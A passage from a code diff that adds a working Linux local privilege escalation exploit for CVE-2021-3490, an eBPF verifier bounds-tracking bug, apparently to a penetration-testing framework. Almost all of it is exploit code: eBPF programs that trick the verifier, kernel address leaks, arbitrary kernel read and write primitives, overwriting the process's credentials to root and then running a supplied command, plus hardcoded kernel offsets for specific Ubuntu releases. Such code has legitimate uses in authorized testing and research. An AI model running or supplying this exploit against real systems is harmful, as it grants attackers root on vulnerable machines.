BPF_MAP_BTF_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET), + // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to + // bpf_map->btf + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // load the leak address from store map + BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, STORE_MAP_REG, 8), + // set bpf_map->btf = leak address. using BPF syscall with command + // BPF_OBJ_GET_INFO_BY_FD will return the value of bpf_map->btf->id + BPF_STX_MEM(BPF_DW, OOB_MAP_REG, LEAK_VAL_REG, 0), + BPF_EXIT_INSN() + }; + + memcpy(&vals[sizeof(uint64_t)], &btf_addr, sizeof(uint64_t)); + + if(0 != update_map_element(pCtx->store_map_fd, 0, vals, BPF_ANY)) + { + printf("[-] failed to update map element values!\n"); + goto done; + } + + if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), &pCtx->prog_fd)) + { + printf("[-] failed to run eBPF program!\n"); + goto done; + } + + if(0 != obj_get_info_by_fd(&attrs)) + { + printf("[-] failed to leak memory with BPF_OBJ_GET_INFO_BY_FD \n"); + goto done; + } + + *puiData = info.btf_id; + ret = 0; + +done: + return ret; +} + +int kernel_read(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len) +{ + int ret = -1; + + for(uint32_t i = 0; i < len; i += sizeof(uint32_t)) + { + uint32_t val = 0; + + if(0 != kernel_read_uint(pCtx, addr + i, &val)) + { + goto done; + } + + *(uint32_t*)(buffer + i) = val; + } + + ret = 0; + +done: + return ret; +} + +int kernel_write_uint(exploit_context* pCtx, uint64_t addr, uint32_t val) +{ + int ret = -1; + char vals[ARRAY_MAP_SIZE] = {0}; + + // addr will be set to index(val) + 1 in array_map_get_next_key + val -=1; + + memcpy(vals, &val, sizeof(uint32_t)); + + if(0 != update_map_element(pCtx->oob_map_fd, 0, vals, addr)) + { + printf("[-] kernel write failed!\n"); + goto done; + } + + ret = 0; + +done: + return ret; +} + +int kernel_write(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len) +{ + int ret = -1; + + for(uint32_t i = 0; i < len; i += sizeof(uint32_t)) + { + addr += i; + uint32_t val = *(uint32_t*)(buffer + i); + + if(0 != kernel_write_uint(pCtx, addr, val)) + { + goto done; + } + } + + ret = 0; + +done: + return ret; +} + +int create_bpf_maps(exploit_context* pCtx) +{ + int ret = -1; + int oob_map_fd = -1; + int store_map_fd = -1; + char vals[ARRAY_MAP_SIZE] = {0}; + union bpf_attr map_attrs = + { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = ARRAY_MAP_SIZE, + .max_entries = 1, + }; + + oob_map_fd = create_map(&map_attrs); + store_map_fd = create_map(&map_attrs); + + if((oob_map_fd < 0) || (store_map_fd) < 0) + { + printf("[-] failed to create bpf array map!\n"); + goto done; + } + + if(0 != update_map_element(oob_map_fd, 0, vals, BPF_ANY)) + { + printf("[-] failed to update map element values!\n"); + goto done; + } + + if(0 != update_map_element(store_map_fd, 0, vals, BPF_ANY)) + { + printf("[-] failed to update map element values!\n"); + goto done; + } + + pCtx->oob_map_fd = oob_map_fd; + pCtx->store_map_fd = store_map_fd; + + ret = 0; + +done: + return ret; +} + +int leak_oob_map_ptr(exploit_context* pCtx) +{ + int ret = -1; + char vals[ARRAY_MAP_SIZE] = {0}; + struct bpf_insn insn[] = + { + exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd), + // extend the exploit register's invalid bounds to 64 bits + BPF_MOV32_REG(EXPLOIT_REG, EXPLOIT_REG), \ + // adding a register with invalid bounds to a pointer causes the verifier to + // mark it as an unbounded value, so we are able to leak its value by saving it + // in the store map + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), \ + // put the value in leak value register + BPF_MOV64_REG(LEAK_VAL_REG, OOB_MAP_REG), \ + // store the leaked BPF ptr into store map + BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8), \ + BPF_EXIT_INSN() + }; + + if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL)) + { + printf("[-] failed to run eBPF program!\n"); + goto done; + } + + if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals)) + { + printf("[-] failed to retrieve storage map element!\n"); + goto done; + } + + memcpy(&pCtx->oob_map_ptr, &vals[sizeof(uint64_t)], sizeof(uint64_t)); + + if(!IS_KERNEL_POINTER(pCtx->oob_map_ptr)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +int leak_array_map_ops(exploit_context* pCtx) +{ + int ret = -1; + char vals[ARRAY_MAP_SIZE] = {0}; + struct bpf_insn insn[] = + { + exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd), + exploit_primitive_pt2, + // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET), + // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points + // to bpf_map->ops + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // read the value of array_map_ops + BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, OOB_MAP_REG, 0), + // store the leaked array_map_ops ptr into store map + BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8), + BPF_EXIT_INSN() + }; + + if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL)) + { + printf("[-] failed to run eBPF program!\n"); + goto done; + } + + if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals)) + { + printf("[-] failed to retrieve storage map element!\n"); + goto done; + } + + memcpy(&pCtx->array_map_ops, &vals[sizeof(uint64_t)], sizeof(uint64_t)); + + if(!IS_KERNEL_POINTER(pCtx->array_map_ops)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +int test_kernel_read(exploit_context* pCtx) +{ + int ret = -1; + uint64_t kernel_addr = 0; + + pCtx->state = EXPLOIT_STATE_READ; + + if(0 != kernel_read(pCtx, pCtx->array_map_ops, (char*)&kernel_addr, sizeof(uint64_t))) + { + goto done; + } + + if(!IS_KERNEL_POINTER(kernel_addr)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +int prepare_kernel_write(exploit_context* pCtx) +{ + int ret = -1; + char array_map_ops[ARRAY_MAP_SIZE] = {0}; + uint64_t array_map_get_next_key = 0; + struct bpf_insn insn[] = + { + exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd), + exploit_primitive_pt2, + // store copy of exploit register + BPF_MOV64_REG(COPY_REG, EXPLOIT_REG), + // load oob map values pointer in leak register + BPF_LD_IMM64(LEAK_VAL_REG, pCtx->oob_map_ptr), + // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET), + // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points + // to bpf_map->ops + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // overwrite bpf_map->ops to point to the first value in oob map, where we store + // fake bpf_map_ops structure + BPF_STX_MEM(BPF_DW, OOB_MAP_REG, LEAK_VAL_REG, 0), + // restore oob map value pointer + BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG), + // restore exploit reg + BPF_MOV64_REG(EXPLOIT_REG, COPY_REG), + // set constant register to 0 + BPF_MOV64_IMM(CONST_REG, 0x0), + // exploit reg value is BPF_MAP_SPIN_LOCK_OFF_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_SPIN_LOCK_OFF_OFFSET), + // subtract BPF_MAP_SPIN_LOCK_OFF_OFFSET from oob map value pointer, so it points + // to bpf_map->spin_lock_off + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // set bpf_map->spin_lock_off = 0 to bypass checks + BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0), + // restore oob map value pointer + BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG), + // restore exploit reg + BPF_MOV64_REG(EXPLOIT_REG, COPY_REG), + // set constant register to 0xFFFFFFFF + BPF_MOV64_IMM(CONST_REG, 0xFFFFFFFF), + // exploit reg value is BPF_MAP_MAX_ENTRIES_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_MAX_ENTRIES_OFFSET), + // subtract BPF_MAP_MAX_ENTRIES_OFFSET from oob map value pointer, so it points + // to bpf_map->max_entries + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // set bpf_map->max_entries = 0xFFFFFFFF + BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0), + // restore oob map value pointer + BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG), + // restore exploit reg + BPF_MOV64_REG(EXPLOIT_REG, COPY_REG), + // set constant register to BPF_MAP_TYPE_STACK + BPF_MOV64_IMM(CONST_REG, BPF_MAP_TYPE_STACK), + // exploit reg value is BPF_MAP_TYPE_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_TYPE_OFFSET), + // subtract BPF_MAP_TYPE_OFFSET from oob map value pointer, so it points + // to bpf_map->map_type + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // set bpf_map->map_type = BPF_MAP_TYPE_STACK to be able to call map_push_elem + BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0), + BPF_EXIT_INSN() + }; + + if(0 != kernel_read(pCtx, pCtx->array_map_ops, array_map_ops, BPF_MAP_OPS_OFFSET)) + { + goto done; + } + + memcpy(&array_map_get_next_key, &array_map_ops[MAP_OPS_GET_NEXT_KEY_OFFSET], sizeof(uint64_t)); + + if(!IS_KERNEL_POINTER(array_map_get_next_key)) + { + goto done; + } + + memcpy(&array_map_ops[MAP_OPS_PUSH_ELEM_OFFSET], &array_map_get_next_key, sizeof(uint64_t)); + + if(0 != update_map_element(pCtx->oob_map_fd, 0, array_map_ops, BPF_ANY)) + { + printf("[-] failed to update map element values!\n"); + goto done; + } + + if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL)) + { + printf("[-] failed to run eBPF program!\n"); + goto done; + } + + pCtx->state = EXPLOIT_STATE_WRITE; + + ret = 0; + +done: + return ret; +} + +int overwrite_cred(exploit_context* pCtx) +{ + int ret = -1; + + if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_UID_OFFSET, 0)) + { + goto done; + } + + if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_GID_OFFSET, 0)) + { + goto done; + } + + if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_EUID_OFFSET, 0)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +void cleanup_read(exploit_context* pCtx) +{ + struct bpf_insn insn[] = + { + exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd), + exploit_primitive_pt2, + // exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0) + BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET), + // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to + // bpf_map->btf + BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), + // set constant register to 0 + BPF_MOV64_IMM(CONST_REG, 0x0), + // overwrite the value of bpf_map->btf to 0 + BPF_STX_MEM(BPF_DW, OOB_MAP_REG, CONST_REG , 0), + BPF_EXIT_INSN() + }; + + if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL)) + { + printf("[-] warning, failed to run cleanup read BPF program!\n"); + } + + pCtx->state = EXPLOIT_STATE_CLEAN; +} + +void cleanup_write(exploit_context* pCtx) +{ + uint64_t null = 0; + + // restore bpf_map->btf = NULL + if(0 != kernel_write(pCtx, pCtx->oob_map_ptr - BPF_MAP_BTF_OFFSET, (char*)&null, sizeof(uint64_t))) + { + printf("[-] warning, cleanup failed! this will cause instability...\n"); + goto done; + } + + // restore bpf_map->map_type = BPF_MAP_TYPE_ARRAY + if(0 != kernel_write_uint(pCtx, pCtx->oob_map_ptr - BPF_MAP_TYPE_OFFSET, BPF_MAP_TYPE_ARRAY)) + { + printf("[-] warning, cleanup failed! this will cause instability...\n"); + goto done; + } + + // We can't restore the rest of the values without breaking the write primitive, and we can't run another BPF program + // because we overwrote spin_lock_off. However, this is enough to exit cleanly. + + pCtx->state = EXPLOIT_STATE_CLEAN; + +done: + return; +} + +void cleanup(exploit_context* pCtx) +{ + switch(pCtx->state) + { + case EXPLOIT_STATE_READ: + cleanup_read(pCtx); + break; + case EXPLOIT_STATE_WRITE: + cleanup_write(pCtx); + break; + case EXPLOIT_STATE_CLEAN: + default: + break; + } +} + +int main(int argc, char **argv) +{ + if (argc < 2){ + printf("Useage: %s \r\n", argv[0]); + exit(-1); + } + exploit_context ctx = {0}; + pid_t current_pid = getpid(); + + if(0 != create_bpf_maps(&ctx)) + { + printf("[-] failed to create bpf maps!\n"); + goto done; + } + + printf("[+] eBPF enabled, maps created!\n"); + + if(0 != leak_oob_map_ptr(&ctx)) + { + printf("[-] failed to leak ptr to BPF map!\n"); + goto done; + } + + printf("[+] addr of oob BPF array map: %lx\n", ctx.oob_map_ptr); + + if (0 != leak_array_map_ops(&ctx)) + { + printf("[-] failed to leak address of array_map_ops!\n"); + goto done; + } + + printf("[+] addr of array_map_ops: %lx\n", ctx.array_map_ops); + + if(0 != test_kernel_read(&ctx)) + { + printf("[-] kernel read failed!\n"); + goto done; + } + + printf("[+] kernel read successful!\n"); + printf("[!] searching for init_pid_ns in kstrtab ...\n"); + + if(0 != search_init_pid_ns_kstrtab(&ctx)) + { + printf("[-] failed to find init_pid_ns in kstrtab!\n"); + goto done; + } + + printf("[+] addr of init_pid_ns in kstrtab: %lx\n", ctx.init_pid_ns_kstrtab); + printf("[!] searching for init_pid_ns in ksymtab...\n"); + + if(0 != search_init_pid_ns_ksymtab(&ctx)) + { + printf("[-] failed to find init_pid_ns in ksymtab!\n"); + goto done; + } + + printf("[+] addr of init_pid_ns %lx\n", ctx.init_pid_ns); + printf("[!] searching for creds for pid: %0x\n", current_pid); + + if(0 != find_pid_cred(&ctx, current_pid)) + { + printf("[-] failed to find addr of current creds!\n"); + goto done; + } + + printf("[+] addr of cred structure: %lx\n", ctx.cred); + + if(0 != prepare_kernel_write(&ctx)) + { + printf("[-] failed to set up maps for kernel write!\n"); + goto done; + } + + printf("[!] preparing to overwrite creds...\n"); + + if(0 != overwrite_cred(&ctx)) + { + printf("[-] LPE failed :(\n"); + goto done; + } + + printf("[+] success! enjoy r00t :)\n"); + system(argv[1]); + +done: + cleanup(&ctx); + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/bpf_defs.h b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/bpf_defs.h new file mode 100644 index 0000000000..0dc497f2b6 --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/bpf_defs.h @@ -0,0 +1,170 @@ +#ifndef _BPF_DEFS_H_ +#define _BPF_DEFS_H_ + + +/* Raw code statement block */ + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +/* Memory load, dst_reg = *(uint *) (src_reg + off16) */ + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Short form of mov, dst_reg = imm32 */ + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Short form of mov, dst_reg = src_reg */ + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* Program exit */ + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + + +/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +// varies from userspace bpf_map_info definition so need to redefine +struct bpf_map_info_kernel +{ + __u32 type; + __u32 id; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + char name[BPF_OBJ_NAME_LEN]; + __u32 ifindex; + __u32 btf_vmlinux_value_type_id; + __u64 netns_dev; + __u64 netns_ino; + __u32 btf_id; + __u32 btf_key_type_id; + __u32 btf_value_type_id; +} __attribute__((aligned(8))); + + +int create_map(union bpf_attr* map_attrs); +int update_map_element(int map_fd, uint64_t key, void* value, uint64_t flags); +int lookup_map_element(int map_fd, int64_t key, void* pDestBuff); +int obj_get_info_by_fd(union bpf_attr* attrs); +int run_bpf_prog(struct bpf_insn* insn, uint32_t cnt, int* prog_fd_out); + +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/exploit_configs.h b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/exploit_configs.h new file mode 100644 index 0000000000..d5ef53ed61 --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/exploit_configs.h @@ -0,0 +1,114 @@ +#ifndef _EXPLOIT_CONFIGS_H_ +#define _EXPLOIT_CONFIGS_H_ + +#define ARRAY_MAP_SIZE 0x1337 +#define DUMMY_MAP_ADD 0x1000 + +#define EXPLOIT_STATE_CLEAN 0 +#define EXPLOIT_STATE_READ 1 +#define EXPLOIT_STATE_WRITE 2 + +#define STORE_MAP_REG BPF_REG_2 +#define OOB_MAP_REG BPF_REG_3 +#define EXPLOIT_REG BPF_REG_4 +#define CONST_REG BPF_REG_5 +#define LEAK_VAL_REG BPF_REG_6 +#define UNKOWN_VALUE_REG BPF_REG_7 +#define COPY_REG BPF_REG_8 + + +typedef struct exploit_context +{ + int oob_map_fd; + int store_map_fd; + int prog_fd; + uint64_t oob_map_ptr; + uint64_t array_map_ops; + uint64_t init_pid_ns_kstrtab; + uint64_t init_pid_ns; + uint64_t cred; + uint32_t state; +} exploit_context; + + +// The exploit primitive is an eBPF program contained into two parts. The first part only triggers the bug, where EXPLOIT_REG will have incorrect 32 bit bounds (u32_min_value=1,u32_max_value=0). +// The second part causes the eBPF verifier to believe EXPLOIT_REG has a value of 0 but actually has a runtime value of 1. It is split into two parts because we only need the first part to leak +// the pointer to the BPF array map used for OOB read/writes. + +#define exploit_primitive_pt1(oob_map_fd, store_map_fd) \ +/* load oob_map values ptr into reg_0 */ \ +BPF_MOV64_IMM(BPF_REG_0, 0), \ +BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \ +BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ +BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ +BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), \ +BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ +/* check if the returned map value pointer is valid */ \ +BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ +BPF_EXIT_INSN(), \ +/* save oob map value ptr into preserved register reg_7 */ \ +BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), \ +/* load store_map values ptr into reg_0 */ \ +BPF_MOV64_IMM(BPF_REG_0, 0), \ +BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \ +BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ +BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ +BPF_LD_MAP_FD(BPF_REG_1, store_map_fd), \ +BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ +/* check if the returned map value pointer is valid */ \ +BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ +BPF_EXIT_INSN(), \ +/* store the map value pointer into designated register */ \ +BPF_MOV64_REG(STORE_MAP_REG, BPF_REG_0),\ +/* save the oob map value pointer in the designated register */ \ +BPF_MOV64_REG(OOB_MAP_REG, BPF_REG_7), \ +/* prepare return value in reg_0 */ \ +BPF_MOV32_IMM(BPF_REG_0, 0), \ +/* load "unknown" value from the map, the real runtime value is 0 */ \ +BPF_LDX_MEM(BPF_DW, UNKOWN_VALUE_REG, STORE_MAP_REG, 0), \ +/* load "unknown" value into exploit register so it begins with a tnum mask of 0xFFFFFFFFFFFFFFFF */ \ +BPF_MOV64_REG(EXPLOIT_REG, UNKOWN_VALUE_REG), \ +/* constant register value is 0xFFFFFFFF */ \ +BPF_MOV32_IMM(CONST_REG, 0xFFFFFFFF), \ +/* constant register value is 0xFFFFFFFF00000000 */ \ +BPF_ALU64_IMM(BPF_LSH, CONST_REG, 32), \ +/* exploit register has tnum mask of 0xFFFFFFFF00000000 since now the bottom 32 bits are known to be 0 */ \ +BPF_ALU64_REG(BPF_AND, EXPLOIT_REG, CONST_REG), \ +/* exploit register has tnum value 0x1 and mask of 0xFFFFFFFF00000000 */ \ +BPF_ALU64_IMM(BPF_ADD, EXPLOIT_REG, 1), \ +/* constant register value is 0x1 */ \ +BPF_MOV64_IMM(CONST_REG, 0x1), \ +/* constant register value is 0x100000000 */ \ +BPF_ALU64_IMM(BPF_LSH, CONST_REG, 32), \ +/* constant register value is 0x100000002 */ \ +BPF_ALU64_IMM(BPF_ADD, CONST_REG, 2), \ +/* trigger the bug, exploit register has u32_min_value=1,u32_max_value=0 */ \ +BPF_ALU64_REG(BPF_AND, EXPLOIT_REG, CONST_REG) + +#define exploit_primitive_pt2 \ +/* exploit register has u32_min_value=2,u32_max_value=1 */ \ +BPF_ALU64_IMM(BPF_ADD, EXPLOIT_REG, 1), \ +/* conditional so that unknown value register has u32_min_value=0,u32_max_value=1 */ \ +BPF_JMP32_IMM(BPF_JLE, UNKOWN_VALUE_REG, 1, 1), \ +BPF_EXIT_INSN(), \ +/* bounds from each register are added, exploit reg now has u32_min_value=u32_max_value=2, verifier believes lower 32 bits are constant and equal to 2 */ \ +BPF_ALU64_REG(BPF_ADD, EXPLOIT_REG, UNKOWN_VALUE_REG), \ +/* clear the top 32 bits, verifier believes exploit reg is constant value of 2 (during runtime the value is 1) */ \ +BPF_MOV32_REG(EXPLOIT_REG, EXPLOIT_REG), \ +/* verifier believes exploit register is 0, because 2 & 1 = 0, runtime value is still 1 */ \ +BPF_ALU64_IMM(BPF_AND, EXPLOIT_REG, 1), \ +/* make a copy of exploit register to do dummy map operations */\ +BPF_MOV64_REG(COPY_REG, EXPLOIT_REG), \ +/* add a constant value to map value pointer to set alu_limit = DUMMY_MAP_ADD, to bypass runtime ALU sanitation */ \ +BPF_ALU64_IMM(BPF_ADD, OOB_MAP_REG, DUMMY_MAP_ADD), \ +/* copy register value is DUMMY_MAP_ADD - 1, verifier believes it is 0 */\ +BPF_ALU64_IMM(BPF_MUL, COPY_REG, DUMMY_MAP_ADD - 1), \ +/* subtract DUMMY_MAP_ADD we just added to map value pointer, because verifier believes copy register is 0, alu_limit remains unchanged */ \ +BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, COPY_REG), \ +/* subtract the remaining byte, so runtime ALU sanitation checks are passed on versions not patched for CVE-2020-27171 */ \ +BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG) + + +int kernel_read(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len); + +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h new file mode 100644 index 0000000000..345ced728a --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h @@ -0,0 +1,160 @@ +#ifndef _KERNEL_DEFS__H_ +#define _KERNEL_DEFS__H_ + +#define KERNEL_BASE 0xFFFF000000000000 +#define KERNEL_DS 0xFFFFFFFFFFFFFFFF +#define IS_KERNEL_POINTER(x) (((x > KERNEL_BASE) && (x < KERNEL_DS))?1:0) + +// Backwards offset of ops field in bpf_map from start of map values memory chunk +#define BPF_MAP_OPS_OFFSET 0x110 +// Backwards offset of btf field in bpf_map from start map values memory chunk +#define BPF_MAP_BTF_OFFSET 0xD0 +// Backwards offset of spin_lock_off field in bpf_map from start of map values memory chunk +#define BPF_MAP_SPIN_LOCK_OFF_OFFSET 0xE4 +// Backwards offset of max_entries field in bpf_map from start of map values memory chunk +#define BPF_MAP_MAX_ENTRIES_OFFSET 0xEC +// Backwards offset of map_type field in bpf_map from start of map values memory chunk +#define BPF_MAP_TYPE_OFFSET 0xF8 + +// Offset of map_get_next_key function pointer in bpf_map_ops +#define MAP_OPS_GET_NEXT_KEY_OFFSET 0x20 +// Offset of map_push_elem function pointer in bpf_map_ops +#define MAP_OPS_PUSH_ELEM_OFFSET 0x70 + +// Offset of id field in btf struct +#define BTF_ID_OFFSET 0x58 + +// Offset of tasks field in pid structure +#define PID_TASKS_OFFSET 0x10 + +// Offset of linked list entry in task_struct +#ifdef GROOVY +#define TASK_LIST_OFFSET 0x950 +#endif +#ifdef HIRSUTE +#define TASK_LIST_OFFSET 0x578 +#endif +// Offset of cred pointer in task_struct +#ifdef GROOVY +#define TASK_CRED_OFFSET 0xA88 +#endif +#ifdef HIRSUTE +#define TASK_CRED_OFFSET 0x6C8 +#endif + +// Offset of uid field in cred structure +#define CRED_UID_OFFSET 0x4 +// Offset of gid field in cred structure +#define CRED_GID_OFFSET 0x8 +// Offset of euid field in cred structure +#define CRED_EUID_OFFSET 0x14 + + +// Copied from Linux Kernel source + +#define XA_CHUNK_SHIFT 0x6 +#define XA_CHUNK_SIZE 0x40 + +#define XA_RETRY_ENTRY xa_mk_internal(256) + +#define RADIX_TREE_RETRY XA_RETRY_ENTRY +#define RADIX_TREE_MAP_SHIFT XA_CHUNK_SHIFT +#define 